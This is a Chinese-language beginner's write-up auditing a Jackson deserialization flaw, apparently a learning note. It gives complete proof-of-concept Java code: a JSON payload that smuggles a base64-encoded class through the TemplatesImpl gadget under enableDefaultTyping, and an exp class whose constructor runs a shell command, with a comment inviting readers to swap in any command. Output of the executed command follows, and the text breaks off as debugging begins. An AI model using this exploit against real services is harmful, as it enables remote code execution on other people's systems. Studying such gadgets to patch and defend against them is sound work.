小白审计JACKSON反序列化漏洞

1. JACKSON漏洞解析

poc代码：main.java

import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

/**
 * Created by Administrator on 2017/6/12.
 */
public class main {

    public static void main(String[] args)  {
        String MASIT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//改成exp存在的绝对路径
        String exp = readClassStr("D:\\workspace\\123\\target\\classes\\exp.class");
        String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
                "{\n" +
                "'transletBytecodes':['"+exp+"'],\n" +
                "'transletName':'p',\n" +
                "'outputProperties':{}\n" +
                "}\n" +
                "]\n" +
                "}");
        System.out.printf(jsonInput);
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        User user;
        try {
            user = mapper.readValue(jsonInput, User.class);
            System.out.println(user.getSex());
            System.out.println(user.getName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static String aposToQuotes(String json){
        return json.replace("'","\"");
    }


    public static String readClassStr(String cls){
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encode(byteArrayOutputStream.toByteArray());
   }
}

exp.java

import com.sun.javaws.progress.Progress;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;

/**
 * Created by Administrator on 2017/6/12.
 */
public class exp extends AbstractTranslet {
    public exp() throws Exception {

        try {
            BufferedReader br = null;
            //修改成你想要执行的命令
            Process p = Runtime.getRuntime().exec("ipconfig");
            br = new BufferedReader(new InputStreamReader(p.getInputStream()));

            String line = null;
            StringBuilder sb = new StringBuilder();
            while ((line = br.readLine()) != null) {
                sb.append(line + "\n");
                System.out.println(sb);
            }
            File file = new File("result.txt");
            //File file =new File("javaio-appendfile.txt");

            //if file doesnt exists, then create it
            if(!file.exists()){
                file.createNewFile();
            }

            //true = append file
            FileWriter fileWritter = new FileWriter(file.getName(),true);
            BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
            bufferWritter.write(sb.toString());
            bufferWritter.close();
            System.out.println(sb);
        } catch (IOException e) {
            e.printStackTrace();

        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

user.java

import java.io.Serializable;
import java.util.Arrays;
import java.util.InputMismatchException;
import java.util.Objects;

/**
 * Created by Administrator on 2017/6/12.
 */
public class User {
    private Object object;
    public Object getObject() {
        return object;
    }
    public void setObject(Object object) {
        this.object = object;
    }
}

尝试执行:
发现result.txt中存在结果

Windows IP ����


��̫�������� �������� 2:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�
   �����ض��� DNS ��׺ . . . . . . . : 

��̫�������� Npcap Loopback Adapter:

   �����ض��� DNS ��׺ . . . . . . . : 
   �������� IPv6 ��ַ. . . . . . . . : fe80::b047:25da:330b:45d4%18
   �Զ����� IPv4 ��ַ  . . . . . . . : 169.254.69.212
   ��������  . . . . . . . . . . . . : 255.255.0.0
   Ĭ�����. . . . . . . . . . . . . : 

��̫�������� ��������:

   �����ض��� DNS ��׺ . . . . . . . : 
   �������� IPv6 ��ַ. . . . . . . . : fe80::fd81:27ba:8b8b:4a72%12
   IPv4 ��ַ . . . . . . . . . . . . : 10.0.83.198
   ��������  . . . . . . . . . . . . : 255.255.255.0
   Ĭ�����. . . . . . . . . . . . . : 10.0.83.1

调试本地代码：
由于Jackson中是通过readValue执行命令，
按F7进入当前函数：